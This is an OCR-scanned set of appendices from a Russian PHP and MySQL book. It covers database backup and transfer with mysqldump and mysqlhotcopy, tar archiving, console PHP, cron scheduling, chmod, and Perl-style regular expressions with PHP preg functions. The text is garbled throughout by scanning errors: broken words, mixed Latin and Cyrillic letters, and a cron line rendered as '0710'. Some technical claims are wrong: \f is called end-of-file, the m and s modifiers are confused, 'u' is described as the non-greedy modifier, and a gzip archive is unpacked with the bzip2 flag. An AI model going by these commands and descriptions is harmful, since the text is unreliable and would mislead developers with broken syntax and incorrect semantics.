Прuл оженuе 2. Ус тановка My SQL 1197 П2.5. Пере нос б аз данных с одного сервера на друго й Одной из часто встречающихся задач является перенос баз данных с одного сервера на другой или просто создан ие резервной копии баз дан ных. СУБД MyS.QL предоставляет для этого множество инструм ентов, однако чаще всего используется одно из двух решений: О ко пирование бинарных файлов баз данных; О создан ия SQL-дампа. 2.5.1 . Копир ование бинаРНblХ файл ов Перенос бинарных файлов основан на том, что табл ицы типа MyISAM (ос­ новной тип таблиц в MySQL) являются платформо-независимыми, и их мож­ но перемещать с одного сервера на другой независимо от версии сервера и операцио нной системы, под управлением которой он работает. ЗАМЕЧАНИЕ Созда ние в каталоге данных нового каталога аналогично созданию новой базы данных. в катал оге дан ных для каждой базы дан ных заводится свой подкатал ог, а каждая табл ица представлена тремя файлами, имена которых совпадают с именем табл ицы, а расширения имеют следующий смысл : О frm - определяет структуру табл ицы, имена полей, их типы, параметры таблицы и т. П.; О MYD - содержит дан ные таблицы (расширение образовано от сокраще­ ния MYData); О МУI - содержит индексную информацию (расширение образовано от сокращения MYIndex) . Однако ко пирование данных непосредственно из каталога данных работаю­ щего сервера может привести к поврежден ию ко пий табл иц, причем это мо­ жет случиться даже в том случае, есл и MySQL-сервер не обращался к ко пи­ руемым таблицам в текущий момент. Поэто му перед ко пированием бинарных данных необходимо либо остановить сервер, либо блокировать
1198 Прuложенuя табл ицы на запись. Блокировку табл иц удобно осуществить при помощи операто ра FLUSH TAВLES (л исти нг П2.6). Листинг П2.6. Бл окиро вка таблиц на запись FLUSH TAВLES WITH READ LOCK ; Для того чтобы блокировка осталась в силе на время копирования, следует оставить клиент включенным и не выходить из него до тех пор, пока ко пиро­ вание катал ога дан ных не будет завершено. Для того чтобы снять блокировку на запись, следует выполнить запрос UNLOCK TAВLES (л исти нг П2.7). Листинг П2.7. Снятие блокировки UNLOCK TAB LES; В дистрибутив MySQL входит скрипт горячего ко пирования бинарных фай­ лов баз данных mys qlhotcopy. Да нный скрипт действует по то й же схеме, что описана ранее : блокирует табл ицы базы данных base и ко пирует их бинарное представление по указанному пути /to/l1ew/patI1 (л исти нг П2 .8). Листинг П2.8 . ИспользоваН�1е скрипта mysqlhotcopy mys qlhotcopy base /to/new/path 2.5.2. С оздание SQL-да м п а Копирование бинарных файлов не всегда удобно, иногда требуется развер­ нуть базу данных в друго й СУБД или в СУБД MySQL более ранней версии, не поддерживающей нововведения поздних версий. В это м случае часто при­ бегают к созданию SQL-дам пов. SQL-дам п - это тексто вый файл с SQL­ инструкциями, выполнен ие кото рых воссоздает базу данных. Основным инструментом для создания SQL-дампов служит утилита mysqldump. Для того чтобы создать резервную ко пию базы данных, напри­ мер base, необходимо выпол нить команду, представленную в листинге П2 .9. Листинг П2.9 . Создание да мпа базы да нных Ьаее C: \mys q1 5 \bin> mys qldump -и root base > base .sql
Прuложенuе 2. Уст ановка My SQL 1199 Как видно из листинга П2 .9, утилита my sql durnp принимает и мя пользователя при помощи параметра -и . Есл и учетная запись защищена паролем, следует добавить параметр -р. После всех параметров указывается имя базы дан ных base, для которой производится создан ие дам па. Так как вывод дан ных осу­ ществляется в стандартный поток (за кото рым по умолчанию закреплен эк­ ран монитора), его следует перенаправить в файл (в листи нге П2 . 12 - это base.sql). Перенаправление данных осуществляется при помощи опе ратора >. Если вместо оператора > использовать »,то дан ные не будут перезаписы­ вать уже существующий файл, а будут добавлены в конец файла. При пом ощи параметра - - datab ases (в сокращенной форме - В) можно соз­ дать дамп сразу нескол ьких баз дан ных, которые перечисляются через про­ бел (л истинг П2 .1О). Листинг П2.10. Создание дам па нескольких баз да нных C:\mysq15 \bin> mysqldurnp -и root -В base mysql > base_mys ql . sql Так, команда, представленная в листи нге П2 .1О, сохраняет дам пы баз данных base и mys ql В файл base_mysq l.sq l. Если необходимо сохранить дам п всех баз дан ных MySQL-сервера, следует воспользоваться параметром --all-databases или В сокращенной форме -А (л истинг П2 .1 1). Листинг П2.1 1. Создание дампа всех баз данных MySQL-сервера my sqldurnp -и root --all-databa ses > all_da tabases .sql Развернуть SQL-дам п на другом сервере можно при помощи утилиты mysql в пакетном режиме (листинг П2 .12). Листинг П2 .12. Развертывание да мпа базы дан ны х с использованием my sql my sql -и root test < base .sql В листинге П2 .12 данные из дам па base.sql перенаправляются на стандарт­ ный вход утилиты mysql, которая размещает таблицы базы дан ных base В базе дан ных test. Развернуть SQL-дам п можно не тол ько в пакетном режиме, но и в диалого­ вом. Самый простой способ - это воспользоваться командой SOURCE, кото­ рая выполняет несколько SQL-инструкций, перечисленных в SQL-дампе (листинг П2 .IЗ).
1200 Прuложенuя ЗАМЕЧА НИЕ Следует указывать абсол ютный путь к файлу в команде SOURCE или поме­ щать SQL-дамп в каталог Ып. В последнем случае можно использовать лишь имя файла. Листинг П2.13. Использова ние кома нды SOORCE SOURCE base .sql; Объемные тексто вые файл ы и многочисленные бинарные файл ы таблиц за­ частую не удобны для транспортировки, и их об ычно упаковывают в архив. В Windows не представляет труда создать архив при помощи специализиро­ ванных пакето в WinZip или WinRar. В UNIХ-подобных операционных сис­ те мах для создания архива каталога обычно используют утил иту tar . В листинге П2 . 14 первая команда создает архи в t.tgz катал ога /d ir, вторая ­ распаковывает содержимое архива t.tgz в каталог /d ir. ЗАМЕЧАНИЕ Параметр --same -own er позволяет сохранить владельцев файлов и ката­ логов при распаковке их из архива. Без использования параметра - - same ­ owne r владельцем будет назначен пользовател ь, от чьего имени произво­ дится разархивация. Листинг П2.1 4. Упа ковка каталога в архив tar czvf t.tgz /dir tar xj vf - -s ame-owne r t.tgz /dir
ПРИЛОЖЕНИЕ 3 Использование cron ПЗ.1 . РНР как консольн ы й интерпретатор РНР можно применять не тол ько для построения динамических Web­ страниц, но и для выполнения различных системных скриптов, например, для ежедневного создания и упако вки в массив резервных копий данных, дл я ав­ то матической обработки тексто вых файлов в каталоге и т. п . В UNIХ-подобных операционных системах для этого достаточно выставить права доступа к файлу таким образом, чтобы он стал исполняемым, и доба­ вить в начало скрипта путь к РНР-интерпретатору после последовател ьности #! (л истинг ПЗ .1). ЗАМЕЧАНИЕ Символ # в РНР (и вообще в shеll-скри птах) является комментарием, но по­ следовательность #! (которая в английско м варианте называется bang line, hash-bang или she-bang) имеет специальное значение - она указывает путь к интерпретатору скрипта . Дело в том, что в UNIХ-подобных операционных системах скри пты могут создаваться на нескол ьких языках: это и Peгl, и язык оболочек, реже РНР или Python. Когда скрипт выполняется Web-сервером, он ориентируется на расширение файла. UNIХ-подобные операционные систе­ мы на расширение файла, как правило, не ориентируются - его зачастую у файла просто нет. Система читает первую строку и ищет его обработчик. Вместо #!/us r /bin/php можно написать #!/us r /bin/sh или # ! /usr /bin/perl. Кроме того , интерпретаторы не обязательно находятся по пути /usг/bin, и тогда bang line позволяет уточнить путь. Листи нг ПЗ.1 . Путь к РНР-интерпретатору в начале файла #!/us r/bin/php <?php
1202 Прuложенuя // РНР- КОД ?> в Windows при помощи последовательности #! управлять обработчи ко м нельзя, поскол ьку операционная систе ма ориентируется на расширение фай­ ла. Процедура запуска скрипта требует загруз ки браузера и набора сете вого ад реса. Однако это го можно избежать, назначив в качестве обработч ика рас­ ширению php консольный инте рпретатор РНР. Для этого необходимо выде­ лить любой РНР-файл и, в контекстном меню выбрать пункт Свойства, в ре­ зультате чего откроется окно настройки свойств (рис. ПЗ .1). Свойства: l.php 6113 Рис. ПЗ .1 . Диалоговое окно Свойства
Приложение 3. Использование сгоп 1203 Далее нажм ите кнопку Изменить и в открывшемся окне - кнопку Най ти , после чего выберите файл C:\PНP\pI1p.exe (рис. ПЗ .2). ЗАМЕЧАНИЕ В корневом каталоге РНР находятся три исполняемых модуля: php.exe, php-cgi.exe и php-wi n.exe. php-cgi.exe предназначен для совместной работы с Web-сервером, именно он обрабаты вает запросы к РНР-скриптам, есл и РНР установлен не модулем. php.exe пред назначен для консольной обра­ ботки скриптов, при его запуске появляется черное окно консол и, в кото ром отображается весь внешний вывод скрипта . php-wi n.exe позволяет запус­ кать РНР-скрипты без открытия окна консоли в качестве процесса со скры­ тым окном. Если вы не хотите, чтоб ы при запуске РНР-скриптов открыва­ лись окна, можно в ыбрать именно этот обработчик. Рис. ПЗ.2 . Диалоговое окно открытия файлов в результате этого в окне выбора обработчика РНР-файлов появится обра­ ботчик CLI, как это показано на рис. ПЗ .3 . Теперь РНР-скрипты можно за­ пускать нажатием кл авиши <Enter> или двойным щелчком мыши - они бу­ дут вести себя как обычные програм мы.
1204 Прuл оженuя Выбор программы Пlm чrm Рекомендуемые rтршра �1М Ы: mи rc i1D � �. H1 11 Intешеt Exprorer .Q Орега Internet Browser rEI Rapfd: РНР 2005 1j Блокнот o Текстовый редактор' Word Pad (MFC) rIO!I Другие rтрограиr'1Ы: � Adol}e Read er б.О ., ImageRea.dy ljJ Microsoft Ехсе! � Мiсrоsоft ОШсе Dосumепt Im aging . ..... ....... . ..M.lr..nso. ..Photn..Edito.r.:................. Рис. П З.З. Н азнач ение в кач естве обработч ика Р Н Р-файлов консол ьного инте рпретатора РН Р Те перь, для того чтобы проверить работоспособность тол ько что созданной схемы, сформируем простейший скрипт index.php, размещающий в корне диска С:\ файл hello, в котором будет помещена фраза "Hello, wo rld !" (л ис­ тинг ПЗ .2). Листинr ПЗ.2 . Файл index.php <?php / / Открываем файл $fd = fopen ("C: /hello", "w" ) ;
Приложение З. Использование сroп ?> / / Записываем фразу fwrite ($fd, "Hello, world! ") ; / / Закрываем файл fclose ($fd) ; 1205 Если все было сделано правильно, то двойной щелчок мышью или нажатие кл авиши <Enter> по файлу il1dex.pl1p приведет к кратковременному открытию OKl-\а консол и и появлению на диске С:\ файла Ье1l0. ПЗ.2. Планировщи к задани й или работа е егоп в состав операционной систе мы UNIX обязател ьно входит демон сгоп, кото­ рый позволяет выпол нять скрипты в строго назначенное время. Большинство хост-провайдеров предоставляют доступ к этому сервису для запуска РНР­ скриптов. В Windows ХР также имеется встроенный планировщик заданий, однако большинство серверов работают под управлением UNIХ-подобных операционных систем. Поэтому даже если для разработки Web-сайтов ис­ пользуется операционная систе ма Windows, имеет смысл установить кл асси­ ческий планировщик задан ий UNIX - сгоп. Классическую реализацию сгоп для Windows можно загрузить по адресу http ://www.nncron .ru/download.shtml. На странице представлено две версии сгоп - ппСгоп, условно-бесплатная программа с Wiпdоws-интерфейсом, и ппСгоп LIТE - бесплатная программа, с классическим интерфейсом через конфигурационный файл crontab. Рекомендуется использовать именно ппСгоп LIТE, так как знание синтакс иса конфигурационного файла cron .tab позволит без труда работать · с UNIХ-версией сгов на сервере хост­ проваЙдера. На странице http://www.nncron. ru/download.shtml можно также обнаружить русскую документацию по сuнтаксису crol1 .tab и различные пла­ гины к I1 11СГОП . Для того чтобы скрипт можно было запускать при помощи сгов, необходимо назначить ему права доступа на исполнение. В UNIX это осуществляется при помощи команды chmod.
1206 Прuложенuя Права доступа в UNIX выставляются для трех категорий пользователей: О владел ьца файла; О группы владел ьца; О остальных пользователей. в рам ках каждой из этих трех групп существуют три вида разрешений: О r - право чтения данного файла; О w - право записи/изменения дан ного файла; О х - право выполнения данного файла, есл и он является сценарием ил и програм мой (для директорий - право ее просмотра). Таким образом, права доступа могут выглядеть так : rwx r --r- - . UNIХ-права доступа можно задавать таюке восьмеричным числом . При этом праву чтения соответствует цифра 4, праву зап иси - 2, а исполнению - 1. Общие права для групп задаются суммой этих чисел, так 6 (4 + 2) обеспечивает возмож­ ность чтения и записи, а 7 (4 + 2 + 1) - предоставляет полный доступ к фай­ лу или каталогу. Тогда для каталога восьмеричное число 0755 означает, что владел ец катал ога имеет полный доступ ( rwx), а все остал ьные имеют право читать файлы в нем и просматривать содержимое катал ога ( r-x) . Чтобы на­ значить файлу index.php права на исполнение rwxr-xr- x (0755), необходимо выполнить команду: chmod 755 index .php Если для этих целей используется РНР, то код, выполняющий данную команду, будет выглядеть так, как это представлено в листинге ПЗ .3 . Листинг пз.з . С мена прав доступа <?php chmod ("i ndex .php ", 0755) ; ?> Для того чтобы можно было выполнять РНР-файлы в Windows, необходимо назначить расширению рЬр в качестве обработч ика РНР-интерпретатор так, как это описывается в разд. "РНР как консольный интерпретатор"ранее в этом nР UЛО:J/Сении. Назначение заданий осуществляется в файле cron .tab .
Приложение З. Использование сroп 1207 ЗАМЕЧА НИЕ Если вы воспол ьзовал ись ппСгоп для Windows , файл cгon.tab можно обна­ ружить в катал оге C:\Pгogгam Files\cгon.tab, в UNIX файл cгon .tab находит­ ся , как правило, в каталоге \etc. (Для более детал ьной информации по cгon.tab в UNIX следует обратиться к документации ко нкретной системы.) Каждая строка файла crol1 .tab соответствует од ному заданию. Помимо зада­ ний в файле crol1 .tab допускаются ко мментарии, начинающиеся с символа диеза #. Формат стр оки задания выглядит следующим образом: минуты ча сы день_месяца ме сяц день_недели кома кца Параметры могут принимать следующие значения: О минуты - О-5 9; О часы- 0-23; о день_ месяца - 1 -31; О месяц - 1-12; О день_недели - 0-7 (О и 7 означают воскресенье); О команда - команда, которая должна быть выпол нена, например, d: /mail/reserve . php . Символ * означает диапазон с первого до последнего, например, следующее задание о 23 * * * d:/main/reserve . php означает запуск скрипта d:/mail1/reserve.php каждый день в 23 :00. Допускает­ ся указание нескольких значений каждого из параметров через запятую. Так задание о 0,8,16 * * * d:/main/cleanup .php означает запуск скрипта d:/mail1/cleal1up.php каждый день в 0:00, 8:00 и 16:00. ЗАМЕЧА НИЕ Пробелы служат раздел ителями между параметрами, поэтому недопусти­ мы пробелы после запятых, то есть задание о о, 8, 16 * * * d: /main/cleanup . php не является корректным. Задание 0, 30 18-23 * * * /home/root /check . php
1208 Прuложенuя будет запускать скрипт /home/root/check.php каждые полчаса между 18:00 и 23 :00. Задан ие 0710 * * * * /home/root/log.php будет запускать скрипт /home/rootllog.php каждые 10 минут. Именно тако й режим лучше всего подходит для проверки наличия ссылки на удаленной странице саЙта. ЗАМЕЧАНИЕ Хост-провайдеры не приветствуют частые запуски скриптов. Перед тем ка к ставить задания, следует проконсультироваться в службе технической под­ держки , какие ограничения существуют у данного хост-провайдера на час­ тоту запуска скриптов и количеств а заданий.
ПРИЛОЖЕНИЕ 4 Регулярные выражения Регулярные выраже ния представляют собой специализирован ный мини-язык, предназначенный для поиска в строках по шаблону. Существует нескол ько диалектов регулярных выражений, среди которых наибол ьшее распростране­ ние получ или Perl- и РОSIХ-регулярные выражения. В данном приложении будет рассмотрен синтаксис Регl-регулярных выражений, так как, начиная с шестой версии РНР, регулярные выраже ния POSIX будут исключены из ядра и даже стандартных расширений. П4.1 . С интаксис регуля р н ых выражений Шабл он, формируемый при помощи регулярных выражений, может состоять как из обычных символов, так и метасимволов. В табл . П4 .1 приводятся наи­ более распространенные метасимвол ы. Та блица П4. 1. Метасимволы регуляр ных выражений Специальный символ Описание Соответствует любому одному символу [...] Соответствует одному символу из тех , что перечисле- ны в квадратных скобках, например, выражение [0123 456789] соответствует ОДНОЙ цифре, выражение может быть свернуто в последовател ьность [0- 9] ["... ] Соответствует од ному любому символу, не перечис- ленному в квадратных скобках, например, выраже- ние ["0-9] соответствует любому символу, не яв- ляющемуся цифрой
1210 Прuложенuя Та блица П4. 1 (окончание) Специальный символ Описание л Позиция в начале строки , например, выражение Лflаg соответствует любой строке, начинающейся со сл ова flag $ Позиция в ко нце строки , например, выражение Лfl$ соответствует строке , содержащей лишь два симво- ла п, а строке flag регулярное выражение уже не будет соответствовать I Любое из разделяемых выражений, например, в ы- ражение first I second соответствует любой строке, содержащей либо сл ово first, либо сл ово second (...) Круглые скобки служат для логического объедине- ния частей регулярного выражения Есл и искомая строка сама содержит метасимволы, их следует экранировать . Например, для поиска подстроки " ссылка [9] " , где вместо цифры 9 может стоять любая другая цифра, может использоваться регулярное выражение: " ссылка \[[0-9] \]" Таким образом, для поиска квадратных скобок их необходимо экранировать, чтобы интерпретатор регулярных выражений не воспринимал их как начало символьного класса. Символ точки, а также квадратн ые скобки всегда обозначают лишь один символ . Однако в приведе нном выше примере ссылка может состоять из од­ ной и более цифр. Для решения это й задач и испол ьзуются квантификаторы (табл . П4 .2), которые позволяют задать кол ичество повторений символа. Та­ ким образом, приведенное выше регулярное выраже ние можно обобщить на произвольное кол ичество цифр в квадратных скобках : " ссылка \[[0- 9]+\]" Та блица П4.2. Кв анmификаmоры регулярных выражений Квантификатор Описание ? Предшествующий символ либо входит в строку один раз, либо вообще в нее не входит * П редшествующий символ входит в строку любое число раз,втомчислеиО
Приложение 4. Регулярные выр ажения 121 1 Та блица П4.2 (окончание) Квантифи катор Описание + Предшествующий символ входит в строку один или более число раз (n) Предшествующий символ входит в строку n раз (n,) Предшествующий символ входит в строку n или более кол ичество раз {n, т} П редшествующий символ входит в строку от n до m раз Знак вопроса, стоя щий после посл едо вател ьностей . * и .+, имеет специальное значение. Обычно регулярные выраже ния стремятся найти как можно более длинное соответствие, в связи с чем указанные выше последовательности стремятся вернуть всю строку. Однако такое поведение можно изменить, воспользовавшись последовател ьностя ми . *? или .+?, которые стре мятся най­ ти как можно более короткое соответствие. Помимо метас имволов и квантификат оров, специальным значением обладает ряд экранированных обратн ым сл эшем символов (табл . П4 .з). Та блица П4.3 . Специальные символы регулярных выражений Специальный Описа ние символ \Ь Позиция, соответствующая гра нице слова \В Позиция, не соответствующая границе сл ова \n Соответствует символу новой строки \r Соответствует символу возврата каретки \t Соответствует символу табуляции \f Соответствует символу ко нца файла \d Соответствует любой десятичной цифре, является аналогом символьного кл асса [0-9] \D Соответствует любому символу, кроме десятичной цифры, является аналогом символьного кл асса [л 0-9 ]
1212 Прuложенuя Таблица П4.З (окончание) Специальный Описание символ \w Соответствует любому алфавитно-цифровому символу и символу подчеркивания, т. е . символ , образующий "сл ово" . Является аналогом символьного класса [a-zА-ZО-9 ]- \W Соответствует всем сим волам, которые не попадают под определение метасимвола \ w \5 Соответствует любому пробельному символу \S Соответствует любому не пробельному символу Помимо обычных кругл ых скобок, диалект PerI-регулярных выражений пре­ доставляет разработчику четыре типа позиционных проверок (табл . П4.4), позволяющих выяснить, находится та ил и иная подстрока справа ил и слева от текущей позиции. Та блица П4.4. Позиционные проверки регулярных выражений Пози ционная проверка Описание (?<=... ) Выражение в скобках ... располагается сл ева (?<!... ) Выражение в скобках ... не может располагаться сл ева (?= ... ) Выражение в скобках .. . располагается справа (?!. .. ) Выраже ние в скобках ... не может располагаться справа в PerI-регулярных выражениях само выражение заключается в граничные символы, после кото рого могут следовать модификаторы регулярного выра­ жения . Рассмотрим три выраже ния для поиска подстроки " Паg " : /flag/i #flag# i5 Iflagl В первом случае в качестве граничных символов выступает прямой слэш (1), во втором - символ диеза (#), в последнем случае - прямая черта (1). Сим-
Приложение 4. Регулярные выр ажения 1213 волы, расположенные после закрывающего граничного символа, являются м одификаторами. Список модификато ров приводится в табл . П4 .5. ЗАМЕЧАНИЕ Если прямая черта (1) высту пает в качестве границы регулярного выраже­ ния, она не может использоваться внутри выражения ка к метасимвол, та к ка к гра ничные символы придется экранировать , что снимает их специаль­ ное значение. Таблица П4.5. Мо дификаторы Регl-регулярных выражений Модификатор Описание i Регулярное выражение не зависит от регистра m Если испол ьзуется данный модификатор, то соответствие ищется в интервале между двумя переводами строк, а не во всем тексте s Если используется данный модификатор, то соответствие ищется во всем тексте, а не в инте рвале между двумя пере- водами строк х При использовании данного модификатора неэкранируемые пробелы и символы табуляции игнорируются , если они н ахо- дятся вне квадратных скобок е При использовании данного модификатора в функции preg_replace () после ста ндартн ых подста новок в заменяе- мой строке последняя интерпретируется как РНР-код, резул ь- тат кото рого испол ьзуется для замены искомой строки u П ри использовании данного модифи катора ищется мини- мальное по дл ине соответствие регулярному выражению (без использования данного модификатора ищется максимальное соответств ие) П4.2. Фун кции для работы с регуля рными в ы ражения ми Для работы с регулярными выражениями в РНР предусмотрен набор функ­ ций, начинающихся с префикса preg, краткое описание которых представле­ но в табл. П4 .6.
1214 Прuложенuя Таблuца П4. б . Функц ии для работbl с регУЛЯр Нblми Вblражениями Фун кция О писа ние preg_g rep ( ) П ринимает в качестве одного из параметров массив и возвращает новый массив с элемен- тами, соответствующими или не соответствую- щими регулярному выражению preg_rnatch ( ) Выполняет проверку на соответствие регуляр- ному выражению preg_match_ all () Ищет все соответствия регулярному выраже- нию в строке preg_quote () Экранирует метасимволы регулярных выражений preg_replace () Осуществляет замену по регулярному выражению preg_replace_callback ( ) Выполняет поиск по регулярному выражению и замену с использованием функции обратного вызова preg_ split (-) Разбивает строку по регулярному выражению Рассмотрим синтакс ис каждой функции из табл . П4 .6 более подробно. П4.2.1. Функция preg_grep() Функция preg_g rep () принимает в качестве одного из параметров массив и возвращает новый массив с элементам и, соответствующими или не соответ­ ствующими регулярному выражению . Функция имеет следующий синтаксис: array preg_grep ( $pattern, $input [, $flag] ) Функция принимает в качестве параметра массив $input и возвращает мас­ сив тех его элементов, которые соответствуют регулярному выражению $pattern. Если необязател ьный параметр $flag принимает знач ение PREG_GRE P_INVERT, функция возвращает массив элементов, не соответствую­ щих регулярному выражению $pattern. П4.2.2. Фун кция preg_m atch() Функция preg_ma tch () осуществляет поиск в строке по регулярному выра­ же нию и имеет следующий синтаксис: int preg_rna tch ($pattern , $subj ect [, $rnatches [, $flags [, $offset] ]])
Приложение 4. Регулярные выражения 1215 в строке $sub ject ищется соответствие регулярному выражению $pattern. Если задан необязател ьный параметр $matches, то резул ьтаты поиска поме­ щаются в массив. Элемент $matches [О] будет содержать часть строки, соот­ ветствующую вхождению всего шаблона; $matches [1] - часть строки, соот­ ветствующую первым круглым скобкам ; $matches [2] - вторым и т. д. Необязательный флаг $ flag может принимать единственное значе ние PREG_OFFSET_CAPTURE, при указании которого изменяется формат воз вращае­ мого массива $matches: каждое вхождение возвращается в виде массива, в нулевом элементе которого содержится найденная подстрока, а в первом ­ смещение. Поиск осуществляется сл ева направо, с начал а строки. Дополни­ тельный параметр $offset может быть использован для указания альте рна­ тивной начал ьной позиции для поиска. Функция preg_ma tch () возвращает кол ичество найденных соответств ий. Это может быть О (совпаде ния не най­ дены) и 1, поскольку preg_ma tch () прекращает свою работу после первого найденного совпадения. П4.2.З. Функция preg_m atch_aIlO Если необходимо найти либо сосчитать все совпадения, следует воспол ьзо­ ваться функцией preg_та tch_a1l ( ) , которая имеет следующий синтаксис: int preg_ma tch_all ($pattern, $subj ect , $matches [,$f lags [,$offset] ]) Функция ищет в строке $subj ect все совпадения с регулярным выражением $pattern и помещает резул ьтат в массив $matches в порядке, определяемом комбинацией флагов $flags . Так же как и в случае функции preg_ma tch ( ), можно задать смещение $offset, начиная с которого будет осуществляться поиск в строке $sub j ect. После нахождения первого соответствия дальнейший поиск будет осуществ­ ляться не с начала строки, а от конца последнего найденного вхождения . До полн ител ьный параметр $flags может комбинировать следующие зна­ чения : CI PREG_PAT TERN_ORDER - если этот флаг устано влен, резул ьтат будет упо­ рядочен следующим образом : элемент $matches [О] содержит массив полных вхожде ний регулярного выражения, элемент $matches [1] - мас­ сив вхождений первых круглых скобок, $matches [2] - вторых и т. д. То есть если строка содержит три соответствия регулярному выраже нию, то подстроку для последнего соответствия всему регулярному выраже-
1216 Прuложенuя нию можно найти в элементе $matches [О] [3] , а дл я первых кругл ых ско­ бок дан ного соответствия - в элементе $matches [1] [3]; о PREG_ SET_ORDER - если этот флаг установлен, результат будет упорядо­ чен следующим образом : элемент $matches [О] содержит первый набор вхождений, элемент $matches [1] содержит второй набор вхождений и т. д. В таком случае массив $matches [О] содержит первый набор вхож­ дений, а именно элемент $matches [О] [О] содержит первое вхождение всего регулярного выражения, элемент $matches [О] [1] содержит первое вхождение первых кругл ых скобок, $matche s [О] [1] - вторых И т. д. Аналогично массив $matches [1] содержит второй набор вхождений, и так для каждого найденного набора; О PREG_OFFSET_CAPTURE - если этот флаг установлен, для каждой найден­ ной подстроки будет указана ее позиция в исходной строке. Необходимо помнить, что этот флаг меняет формат возвращаемых данных: каждое вхождение возвращается в виде массива, в нулевом элементе кото рого содержится найденная подстрока, а в первом - смещение. ЗАМЕЧАНИЕ Использование значения PREG PAT TERN ORDER од новременно с PREG SET ORDER бессмысленно. Функция preg_ma tch_all () возвращает кол ичество найденных вхождений шаблона (может быть нулем) или fa1se, если во время выполнения возникли какие-либо ошибки. П4.2.4. Функция preg_quote() Функция preg_quo te () экранирует в строке метасимволы регулярных выра­ жений и имеет следующий синтаксис: string preg_quote ($str [, $delimiter]) Функция принимает параметр $str И добавляет обратный слэш перед каж­ дым метасимвол ом. Это бывает полезно, если шаблон формируется динами� чески, например, с участием строки, введенной пользователем. Символ, указанный в необязател ьном параметре $delimi ter, также подверга­ ется экранированию (в этот парам етр часто помещают символ гран ицы регу­ лярного выражения).
Приложение 4 . Регулярные выражения 1217 П4.2.5. Фун кция preg_rep/ac-e() Функция preg_ replace () осуществляет поиск и замену по регулярному вы­ ражению и имеет следующий синтакс ис: mixed preg_replace ($pattern, $replacement , $subj ect [ , $limit ]) Эта функция ищет в строке $sub j ect соответствие регулярному выражению $pattern и заменяет его на $replacement. Необязательный параметр $НтН задает кол и чество соответствий, которые необходимо заменить. Есл и этот параметр не указан или равен -1, то заменяются все найденные соответствия. Параметр $replacement может содержать ссыл ки вида \ \п; каждая такая ссылка будет заменена на подстроку, соответствующую п-м кругл ым скоб­ кам . n может принимать значения от О до 99, причем ссылка \ \0 соответст­ вует вхождению всего шаблона. Выражения в кругл ых скобках нумеруются слева направо, начиная с единицы . Если во время выполнения функции были обнаружены совпадения с шабло­ ном, будет возвращено измененное значение $sub ject, в проти вном случае будет возвращен исходный текст $sub j ect. Первые три параметра функции preg_replace () могут быть одномерными массивам и. В случае если массив использует ключи, при обработке массива они будут взяты в том порядке, в котором расположены в массиве. В случае если параметры $pattern и $replaceme nt являются массивам и, функция preg_replace () поочередно извлекает из обоих массивов по паре элементов и использует их для операции поиска и замены. Если массив $replacement содержит больше элементов, чем $pattern, вместо недостаю­ щих элементов для замены будут взяты пустые строки. Если $pattern явля­ ется массивом, а $replacement - строкой, по каждому элементу массива $pattern будет осуществлен поиск и замена на $replacement (шаблоном бу­ дут поочередно все элементы массива, в то время как строка замены остается фиксированной). Вариант, когда $pattern является строкой, а $replacement - массивом, не имеет смысла. П4.2.6 . Фун кция preg_rep/a ce_callback() Функция preg_replace_ callback () осуществляет поиск по регулярному вы­ ражению и замену с использованием функции обратного вызова и имеет сле­ дующий синтаксис: mixed preg_replace_callback ($pattern, $callback, $subj ect [, $limit] )
1218 Прuложенuя Поведение этой функции во многом сходно с preg_replace ( ) , за исключени­ ем того, что вместо параметра $replacement необходимо указывать функцию $callback, кото рой в качестве входящего параметра передается массив най­ денных вхождений. Функция обратного вызова $callback возвра:щает стро­ ку, в которой будет про изведена замена. Пример использования дан ной функции будет приведен ниже . П4.2.7. Фун кция preg_splitO Последней функцией из группы Регl-совместимых регулярных выражений является функция preg_spl i t ( ), которая разбивает строку по регуля рному выражению и имеет следующий синтаксис: array preg_split ($pattern, $sub ject [, $limi t [, $flags] ]) Функция возвращает массив, состоящий из подстрок заданной строки $subj ect, которая разбита по границам, соответствующим шаблону $pattern. В случае если параметр $НmН указан, функция возвращает не более, чем $НmН подстрок, при его отсутст вии или равенстве -} функция действует без ограни чений. Последний параметр $flags может быть произвольной комбинацией следующих флагов (соединение происходит при помощи опе­ рато ра '1'): D PREG SPLIT NO ЕМРТУ - есл и этот флаг установлен, функция preg_spl i t () вернет только непустые подстроки; D PREG_S PLIT_DELIM_CAPTURE - если этот флаг установлен, выраже ние, заключенное в круглые скобки в разделяющем шаблоне, также извлека­ ется из заданной строки и возвращается функцией; D PREG_S PLIT_O FFSET_CAPTURE - есл и этот флаг установлен, для каждой найденной подстроки будет указана ее позиция в исходной строке. Этот флаг меняет формат возвращаемых данных: каждое вхождение возвраща­ ется в виде массива, в нулевом эл ементе которого содержится найденная подстрока, а в первом - смещение.
ПРИЛОЖ ЕНИЕ 5 Описание ко м п акт-диска Папки О писа ние Гл авы 01 Скрипты к первой гл аве 1 03 Скрипты ко второй гл аве 3 04 Скрипты к четвертой гл аве 4 05 Скрипты к пятой гл аве 5 site Сайт 6-27 site/site .sql База данных сайта 6-27 28 Скрипты к 28-й гл аве 28
Рекомендуемая литература Технология Web-разработки включает в себя множество дисциплин, детал ь­ ное изучение каждой из кото рых не под силу одному человеку. Однако зна­ ко мство тол ько с одной областью, например, HTML или РНР, даже на уровне эксперта, не позволяет разработч ику создавать профессиональные сайты вы­ сокой сл ожности. Це нность имеет не отдел ьный язык программирования, а их совокупность - технология . Чем большим кол ичеством языков програм­ мирования и инструменто в владеет разработчик, тем он ценнее . Для эффек­ тивной работы в Web-обл асти придется прил ожить знач ител ьные усилия, так как Web-разработчик высокого уровня долже н владеть следующими языками программирования и техн ология ми: CJ язык разметки HTML; CJ каскадные табл ицы стилей CSS; CJ основы дизайна (включая инструменты работы с векторной и растровой графикой); CJ клиентский язык JavaScript; CJ XML; CJ серверный язык РНР; CJ серверный язык Perl; CJ Web-сервер Apache; CJ устройство сети Интернет и основные инте рнет-протокол ы (хотя бы НТТР, IP и DNS); CJ сокеты и CURL; CJ основы работы с электронной почтой; CJ регулярные выражения; CJ MySQL и язык SQL, желательно на уровне стандартов и различий между его диал ектами для различных систем управления базами данных; CJ Flasl1; CJ основы операционной системы UNIX.
